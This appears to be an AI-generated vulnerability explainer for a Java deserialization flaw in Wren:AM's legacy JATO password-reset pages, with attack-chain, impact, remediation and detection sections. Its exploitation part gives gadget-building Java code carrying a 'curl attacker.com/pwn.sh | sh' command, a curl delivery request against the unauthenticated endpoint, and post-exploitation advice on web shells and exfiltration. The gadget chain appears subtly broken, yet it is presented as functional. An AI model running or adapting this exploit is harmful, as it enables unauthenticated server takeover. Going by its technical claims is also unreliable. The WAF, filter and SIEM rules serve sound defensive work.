CVE-2026-142005 — Wren Security Wren — CWE-502
Wren:AM up to and including 15.3.0 deserializes the jato.clientSession request parameter of the legacy JATO user interface without restricting the classes that may be deserialized. The parameter is processed whenever a legacy JATO page renders a form, including the legacy password reset pages under /ui/, which are reachable without authentication. An unauthenticated remote attacker can make the server deserialize arbitrary Java objects, which, depending on the classes available on the server's classpath, can lead to remote code execution. The issue is fixed in 15.3.1.
Wren:AM up to and including 15.3.0 deserializes the jato.clientSession request parameter of the legacy JATO user interface without restricting the classes that may be deserialized. The parameter is processed whenever a legacy JATO page renders a form, including the legacy password reset pages under /ui/, which are reachable without authentication. An unauthenticated remote attacker can make the server deserialize arbitrary Java objects, which, depending on the classes available on the server's classpath, can lead to remote code execution. The issue is fixed in 15.3.1.
🎯 What is this vulnerability?
Vulnerability name: Unrestricted Java deserialization of the jato.clientSession request parameter in the legacy JATO UI of Wren:AM (versions ≤ 15.3.0).
CVE: CVE‑2026‑142005
CWE: CWE‑502 – Deserialization of Untrusted Data
Technical root cause
1. Legacy JATO UI – Wren:AM ships a “legacy” user‑interface built on the JATO framework. When a JATO page renders a form it expects a hidden field named jato.clientSession. The value of this field is a Base64‑encoded Java object that the server deserializes to restore the user’s session state.
2. No class‑whitelisting – The server code calls ObjectInputStream.readObject() (or a wrapper that ultimately uses it) on the decoded bytes without restricting which classes may be instantiated. The deserialization routine trusts the data because it assumes the request originates from a previously‑generated page belonging to an authenticated user.
3. Unauthenticated access to the vulnerable endpoint – The legacy password‑reset pages under /ui/ (e.g., /ui/resetPassword.jsp) are reachable without any authentication token. Those pages also invoke the same JATO rendering path, meaning the jato.clientSession parameter is processed even for anonymous requests.
4. Result – An attacker can send an arbitrary, crafted serialized Java object in the jato.clientSession parameter. If the attacker’s gadget chain references classes that exist on the target’s classpath (e.g., common libraries such as Apache Commons Collections, Spring, or the JDK itself), the deserialization will execute arbitrary code on the server process.
Because the vulnerability is network‑accessible (AV:N), requires no privileges (PR:N), needs no user interaction (UI:N), and can lead to complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H), the CVSS base score is 9.8 / 10 (Critical).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid; the exact URI is taken from the CVE description (/ui/…) but may differ in a specific deployment – the example is illustrative.
1. Discovery & Reconnaissance
| Step | Action | Tool / Technique |
|---|---|---|
| 1.1 | Identify that the target runs Wren:AM and determine the version. | - Banner grabbing (curl -I https://target/) <br> - Public‑facing documentation or “/about” page <br> - Shodan/Nessus plugins that report “Wren:AM” and version |
| 1.2 | Verify that the legacy JATO UI is still enabled (the /ui/ path is reachable). | curl -I https://target/ui/ → HTTP 200 (or a login‑page redirect) |
| 1.3 | Enumerate which Java libraries are on the classpath (helps pick a gadget chain). | - Retrieve a stack trace via a benign error (e.g., send a malformed jato.clientSession and watch the error page) <br> - Use known‑default JARs shipped with Wren:AM (e.g., commons-collections4-4.4.jar, spring-core-5.3.x.jar) |
2. Exploitation
2.1 Build a malicious gadget chain
The attacker needs a serializable object that, when deserialized, executes a command (e.g., curl http://attacker.com/shell.sh | sh).
A widely‑available gadget chain is org.apache.commons.collections4.functors.InvokerTransformer combined with org.apache.commons.collections4.map.TransformedMap. The following Java code (compiled locally) creates the payload:
// PayloadBuilder.java – compile with the same version of commons‑collections4 that the target uses
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.util.*;
public class PayloadBuilder {
public static void main(String[] args) throws Exception {
// Command to execute on the target
final String cmd = "curl -s http://attacker.com/pwn.sh | sh";
// InvokerTransformer that will call Runtime.getRuntime().exec(cmd)
InvokerTransformer transformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
);
// A dummy map that will be transformed
Map<String, String> innerMap = new HashMap<>();
innerMap.put("foo", "bar");
// Wrap the map so that any get() triggers the transformer
Map transformedMap = TransformedMap.transformingMap(innerMap, null, transformer);
// Serialize the transformed map
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bos);
out.writeObject(transformedMap);
out.close();
// Base64‑encode for HTTP transport
String payload = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(payload);
}
}Compile and run:
javac -cp commons-collections4-4.4.jar PayloadBuilder.java
java -cp .:commons-collections4-4.4.jar PayloadBuilder > payload.b64The file payload.b64 now contains the Base64‑encoded serialized object.
2.2 Deliver the payload
Because the vulnerable parameter is jato.clientSession, the attacker sends it as a POST (or GET) request to any legacy JATO page. The password‑reset page is a convenient unauthenticated endpoint.
# Illustrative endpoint – adjust to the real path if different
TARGET="https://target/ui/resetPassword.jsp"
# The payload generated in the previous step
PAYLOAD=$(cat payload.b64)
# Send the request (POST with form‑encoded data)
curl -sk -X POST "$TARGET" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "jato.clientSession=$PAYLOAD"If the server processes the request, the deserialization will trigger Runtime.exec, causing the attacker‑controlled command to run with the same privileges as the Wren:AM Java process (typically root or a dedicated service account).
3. Post‑exploitation
| Goal | Typical technique |
|---|---|
| Persistence | Drop a web‑shell or a scheduled Java task (java -jar webshell.jar) into a writable directory (e.g., $CATALINA_BASE/webapps/ROOT/). |
| Privilege escalation | If the Java process runs as a low‑privileged user, leverage local‑privilege‑escalation exploits (e.g., CVE‑2024‑XXXX for the underlying OS). |
| Data exfiltration | Use the same Runtime.exec chain to tar and curl sensitive directories (/opt/wrenam/conf/, /var/log/). |
| Lateral movement | From the compromised host, pivot to internal services using the same Java process’s network privileges. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (C:H) | Attackers can read any file accessible to the Wren:AM process, including configuration files that contain LDAP bind passwords, API keys, or user credentials. |
| Integrity (I:H) | Full control over the application allows modification of authentication policies, creation of back‑door admin accounts, or tampering with audit logs. |
| Availability (A:H) | An attacker can terminate the Java process, delete critical files, or launch a denial‑of‑service by exhausting resources (e.g., spawning many processes). |
Business consequences may include:
- Unauthorized access to identity‑management data (user accounts, groups, SSO tokens).
- Compromise of downstream services that trust Wren:AM for authentication (SSO, VPN, cloud apps).
- Regulatory breach (PII exposure) and loss of compliance (e.g., GDPR, HIPAA).
- Potential ransomware deployment after initial foothold.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to Wren:AM 15.3.1 or any later release where the deserialization of jato.clientSession is either removed or protected by a strict class whitelist. |
| Version range | Affected: ≤ 15.3.0 (including all prior major/minor releases). |
2. Immediate Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
| Disable legacy JATO UI | Edit wrenam.conf (or the appropriate configuration file) to set jato.enabled = false and restart the service. This removes the vulnerable rendering path. |
Restrict access to /ui/ | Add an authentication gate (e.g., HTTP Basic auth) or IP‑based allowlist via the front‑end web server (Apache/Nginx). Example for Nginx: <br><br>``nginx<br>location ^~ /ui/ {<br> allow 10.0.0.0/8; # trusted internal network<br> deny all;<br>}<br>` |
| Class‑whitelisting for deserialization (if source code can be patched) | Replace the raw ObjectInputStream with a ObjectInputFilter that only permits known safe classes. Example snippet (Java 9+): <br><br>`java<br>ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("java.base/*;!*");<br>ObjectInputStream ois = new ObjectInputStream(in);<br>ois.setObjectInputFilter(filter);<br>Object obj = ois.readObject();<br>` |
| WAF / ModSecurity rule | Block requests that contain a Base64‑encoded Java serialization stream in the jato.clientSession parameter. A simple rule (ModSecurity 2.x syntax) is: <br><br>`SecRule ARGS:jato.clientSession "@rx ^[A-Za-z0-9+/=]{100,}$" "id:2026001,phase:2,deny,log,msg:'Blocked potential Java deserialization payload',tag:'cve-2026-142005'"` <br>Adjust the regex length ({100,}`) to match typical serialized payload sizes. |
| Input size limiting | Enforce a maximum request body size (e.g., 2 KB) for the legacy UI endpoints to make it harder to send a full serialized object. |
3. Detection – Log patterns & IoCs
| Indicator | Example log entry (Apache) |
|---|---|
Large Base64 payload in jato.clientSession | POST /ui/resetPassword.jsp HTTP/1.1" 200 1234 "-" "Mozilla/5.0" <br>[client 192.0.2.45] "jato.clientSession= rO0ABXNyABFqYX... (truncated)" |
Unexpected java.lang.Runtime.exec calls (if application logs stack traces) | java.lang.IllegalArgumentException: Illegal class name: java.lang.Runtime (or similar stack trace generated by a deserialization error) |
| Outbound connections from the Wren:AM host shortly after a request | IDS/NetFlow showing a TCP connection from 10.10.10.5:8080 to attacker.com:80 within seconds of the request. |
| New files in web‑app directory | find /opt/wrenam/webapps/ -type f -mtime -5 -ls showing a newly created shell.jsp or webshell.jar. |
SIEM rule (generic) – trigger when a request to any /ui/ endpoint contains a parameter named jato.clientSession whose value length > 200 bytes and matches Base64 pattern:
rule "Potential Java Deserialization Attempt"
when
http.request.method == "POST" and
http.request.uri matches "^/ui/.*" and
http.request.parameter("jato.clientSession") matches "^[A-Za-z0-9+/=]{200,}$"
then
alert("CVE-2026-142005 exploitation attempt");
end⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query